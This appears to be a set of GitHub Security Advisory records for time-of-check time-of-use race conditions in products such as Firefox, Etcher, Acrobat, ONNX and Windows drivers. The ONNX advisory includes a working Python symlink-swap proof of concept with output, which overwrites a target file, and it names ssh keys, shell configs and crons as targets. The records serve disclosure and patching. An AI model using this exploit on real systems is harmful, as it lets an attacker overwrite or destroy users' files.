CWE-367

{
  "affected": [],
  "aliases": [
    "CVE-2022-22753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "A Time-of-Check Time-of-Use bug existed in the Maintenance (Updater) Service that could be abused to grant Users write access to an arbitrary directory. This could have been used to escalate to SYSTEM access.\u003cbr\u003e*This bug only affects Firefox on Windows. Other operating systems are unaffected.*. This vulnerability affects Firefox \u003c 97, Thunderbird \u003c 91.6, and Firefox ESR \u003c 91.6.",
  "id": "GHSA-pr6h-wqwg-8wxx",
  "modified": "2025-04-16T15:34:05Z",
  "published": "2022-12-22T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22753"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1732435"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-04"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-05"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-30332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T16:16:22Z",
    "severity": "HIGH"
  },
  "details": "A Time-of-Check to Time-of-Use (TOCTOU) race condition vulnerability in Balena Etcher for Windows prior to v2.1.4 allows attackers to escalate privileges and execute arbitrary code via replacing a legitimate script with a crafted payload during the flashing process.",
  "id": "GHSA-q22r-qqx4-x7hq",
  "modified": "2026-04-02T18:31:37Z",
  "published": "2026-04-02T18:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30332"
    },
    {
      "type": "WEB",
      "url": "https://github.com/balena-io/etcher/issues/4500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/B1tBreaker/CVE-2026-30332"
    },
    {
      "type": "WEB",
      "url": "https://www.balena.io/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-52532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-15T05:16:32Z",
    "severity": "LOW"
  },
  "details": "A race condition in the MxGPU-Virtualization driver\u2019s ioctl path caused by concurrent unsynchronized access to the global variable amdgv_cmd in an unlocked ioctl handler could be exploited by an attacker to trigger a heap-based buffer overflow, potentially resulting in denial-of-service within the vulnerable system context.",
  "id": "GHSA-q2m3-wr33-c5qp",
  "modified": "2026-05-15T06:30:29Z",
  "published": "2026-05-15T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52532"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6027.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-53018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-03T06:15:24Z",
    "severity": "MODERATE"
  },
  "details": "Memory corruption may occur while processing the OIS packet parser.",
  "id": "GHSA-q2mr-4w4q-26x6",
  "modified": "2025-06-03T06:31:14Z",
  "published": "2025-06-03T06:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53018"
    },
    {
      "type": "WEB",
      "url": "https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-426"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:03:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nFor `host=node` runs, approvals validated command context but did not pin executable identity for non-path-like `argv[0]` tokens (for example `tr`). If PATH resolution changed after approval, execution could run a different binary.\n\n### Impact\nA previously approved action could execute a different executable than the operator approved.\n\n### Fix\nNode `system.run` approvals now require immutable `systemRunPlan` data, and path-token commands are pinned to canonical executable identity (`realpath`) across approval and execution.\n\n### Affected and Patched Versions\n- Affected: `\u003c= 2026.2.26`\n- Patched: `2026.3.1`",
  "id": "GHSA-q399-23r3-hfx4",
  "modified": "2026-03-19T21:22:35Z",
  "published": "2026-03-02T22:03:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-q399-23r3-hfx4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31997"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-executable-rebind-via-unbound-path-token-in-system-run-approvals"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: system.run approvals did not bind PATH-token executable identity, enabling post-approval executable rebind"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-24428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-05T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Acrobat Reader DC versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) for macOS are affected by a time-of-check time-of-use (TOCTOU) race condition vulnerability that could result in local privilege escalation. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-q3vc-h49w-254q",
  "modified": "2022-05-24T17:33:12Z",
  "published": "2022-05-24T17:33:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24428"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/acrobat/apsb20-67.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-48344"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T21:17:00Z",
    "severity": "HIGH"
  },
  "details": "Creative Cloud Desktop is affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could result in arbitrary code execution in the context of the current user. Exploit depends on conditions beyond the attacker\u0027s control. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-q3wj-mx7q-rfv9",
  "modified": "2026-07-14T21:32:24Z",
  "published": "2026-07-14T21:32:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48344"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.20.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:40:58Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `save_external_data` method seems to include multiple issues introducing a local TOCTOU vulnerability, an arbitrary file read/write on any system. It potentially includes a path validation bypass on Windows systems.\nRegarding the TOCTOU, an attacker seems to be able to overwrite victim\u0027s files via symlink following under the same privilege scope.\nThe mentioned function can be found here: https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L188\n\n### Details\n\n#### Toctou\nThe vulnerable code pattern:\n```python\n   # CHECK - Is this a file?\n   if not os.path.isfile(external_data_file_path):\n       # Line 228-229: USE #1 - Create if it doesn\u0027t exist\n       with open(external_data_file_path, \"ab\"):\n           pass\n   \n   # Open for writing\n   with open(external_data_file_path, \"r+b\") as data_file:\n       # Lines 233-243: Write tensor data\n       data_file.seek(0, 2)\n       if info.offset is not None:\n           file_size = data_file.tell()\n           if info.offset \u003e file_size:\n               data_file.write(b\"\\0\" * (info.offset - file_size))\n           data_file.seek(info.offset)\n       offset = data_file.tell()\n       data_file.write(tensor.raw_data)\n```\nThere is a time gap between `os.path.isfile` and `open` with no atomic file creation flags (e.g. `O_EXCEL | O_CREAT`) allowing the attacker to create a symlink that is being followed (absence of `O_NOFOLLOW`), between these two calls. By combining these, the attack is possible as shown below in the PoC section.\n\n#### Bypass\nThere is also a potential validation bypass on Windows systems in the same method (https://github.com/onnx/onnx/blob/main/onnx/external_data_helper.py#L203) allowing absolute paths like `C:\\` (only 1 part):\n```python\nif location_path.is_absolute() and len(location_path.parts) \u003e 1\n```\nThis may allow Windows Path Traversals (not 100% verified as I am emulating things on a Debian distro).\n\n### PoC\n\nInstall the dependencies and run this:\n```python\nimport os\nimport sys\nimport tempfile\nimport numpy as np\nimport onnx\nfrom onnx import TensorProto, helper\nfrom onnx.numpy_helper import from_array\n\n# Create a temporary directory for our poc\nwith tempfile.TemporaryDirectory() as tmpdir:\n    print(f\"[*] Working directory: {tmpdir}\")\n\n    # Create a \"sensitive\" file that we\u0027ll overwrite\n    sensitive_file = os.path.join(tmpdir, \"sensitive.txt\")\n    with open(sensitive_file, \u0027w\u0027) as f:\n        f.write(\"SENSITIVE DATA - DO NOT OVERWRITE\")\n\n    original_content = open(sensitive_file, \u0027rb\u0027).read()\n    print(f\"[*] Created sensitive file: {sensitive_file}\")\n    print(f\"    Original content: {original_content}\")\n\n    # Create a simple ONNX model with a large tensor\n    print(\"[*] Creating ONNX model with external data...\")\n\n    # Create a tensor with data \u003e 1KB (to trigger external data)\n    large_array = np.ones((100, 100), dtype=np.float32)  # 40KB tensor\n    large_tensor = from_array(large_array, name=\u0027large_weight\u0027)\n\n    # Create a minimal model\n    model = helper.make_model(\n        helper.make_graph(\n            [helper.make_node(\u0027Identity\u0027, [\u0027input\u0027], [\u0027output\u0027])],\n            \u0027minimal_model\u0027,\n            [helper.make_tensor_value_info(\u0027input\u0027, TensorProto.FLOAT, [100, 100])],\n            [helper.make_tensor_value_info(\u0027output\u0027, TensorProto.FLOAT, [100, 100])],\n            [large_tensor]\n        )\n    )\n\n    # Save model with external data to create the external data file\n    model_path = os.path.join(tmpdir, \"model.onnx\")\n    external_data_name = \"data.bin\"\n    external_data_path = os.path.join(tmpdir, external_data_name)\n\n    onnx.save_model(\n        model, \n        model_path,\n        save_as_external_data=True,\n        all_tensors_to_one_file=True,\n        location=external_data_name,\n        size_threshold=1024\n    )\n\n    print(f\"[+] Model saved: {model_path}\")\n    print(f\"[+] External data created: {external_data_path}\")\n\n    # Now comes the attack: replace the external data file with a symlink\n    print(\"[!] ATTACK: Replacing external data file with symlink...\")\n\n    # Remove the legitimate external data file\n    if os.path.exists(external_data_path):\n        os.remove(external_data_path)\n        print(f\"    Removed: {external_data_path}\")\n\n    # Create symlink pointing to sensitive file\n    os.symlink(sensitive_file, external_data_path)\n    print(f\"    Created symlink: {external_data_path} -\u003e {sensitive_file}\")\n\n    # Now load and re-save the model, which will trigger the vulnerability\n    print(\"Loading model and saving with external data...\")\n    try:\n        # Load the model (without loading external data)\n        loaded_model = onnx.load(model_path, load_external_data=False)\n\n        # Modify the model slightly (to ensure we write new data)\n        loaded_model.graph.initializer[0].raw_data = large_array.tobytes()\n\n        # Save again - this will call save_external_data() and follow the symlink\n        onnx.save_model(\n            loaded_model,\n            model_path,\n            save_as_external_data=True,\n            all_tensors_to_one_file=True,\n            location=external_data_name,\n            size_threshold=1024\n        )\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n    \n    # Check if the sensitive file was overwritten\n    print(\"[*] Checking if sensitive file was modified...\")\n    modified_content = open(sensitive_file, \u0027rb\u0027).read()\n    \n    print(f\"    Original size: {len(original_content)} bytes\")\n    print(f\"    Current size:  {len(modified_content)} bytes\")\n    print(f\"    Original content: {original_content[:50]}\")\n    print(f\"    Current content:  {modified_content[:50]}...\")\n    print()\n    \n    if modified_content != original_content:\n        print(\"[!] Success!\")\n    else:\n        print(\"[-] Failure\")\n```\nOutput:\n```\n[*] Working directory: /tmp/tmpqy7z88_l\n[*] Created sensitive file: /tmp/tmpqy7z88_l/sensitive.txt\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n\n[*] Creating ONNX model with external data...\n[+] Model saved: /tmp/tmpqy7z88_l/model.onnx\n[+] External data created: /tmp/tmpqy7z88_l/data.bin\n[!] ATTACK: Replacing external data file with symlink...\n    Removed: /tmp/tmpqy7z88_l/data.bin\n    Created symlink: /tmp/tmpqy7z88_l/data.bin -\u003e /tmp/tmpqy7z88_l/sensitive.txt\nLoading model and saving with external data...\n[*] Checking if sensitive file was modified...\n    Original size: 33 bytes\n    Current size:  40033 bytes\n    Original content: b\u0027SENSITIVE DATA - DO NOT OVERWRITE\u0027\n    Current content:  b\u0027SENSITIVE DATA - DO NOT OVERWRITE\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\\x00\\x80?\\x00\u0027...\n```\nSuccessfully overwritting the \"sensitive data\" file.\n\n### Impact\nThe impact may include filesystem injections (e.g. on ssh keys, shell configs, crons) or destruction of files, affecting integrity and availability.\n\n### Mitigations\n1. Atomic file creation\n2. Symlink protection\n3. Path canonicalization",
  "id": "GHSA-q56x-g2fj-4rj6",
  "modified": "2026-06-08T20:15:31Z",
  "published": "2026-04-01T23:40:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-q56x-g2fj-4rj6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX: TOCTOU arbitrary file read/write in save_external_dat "
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-10972"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-16T15:15:06Z",
    "severity": "HIGH"
  },
  "details": "Velocidex WinPmem versions below 4.1 suffer from an Improper Input Validation vulnerability whereby an attacker can\u00a0directly communicate with the driver by accessing the \\\"\\\\\\\\.\\\\pmem\\\" device. From that point, it is possible to communicate with the driver via regular device operations, starting with a system of IOCTLs. To send specific orders to the driver, one can use IRP_MJ_DEVICE_CONTROL control code. This issue is remediated in version 4.1.",
  "id": "GHSA-q5vw-gwwh-j8r7",
  "modified": "2025-09-05T09:30:34Z",
  "published": "2024-12-16T15:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10972"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/WinPmem/releases/tag/v4.1.dev1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-20831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T18:16:10Z",
    "severity": "HIGH"
  },
  "details": "Time-of-check time-of-use (toctou) race condition in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-q5w7-qmx3-4vxh",
  "modified": "2026-01-13T18:31:08Z",
  "published": "2026-01-13T18:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20831"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20831"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}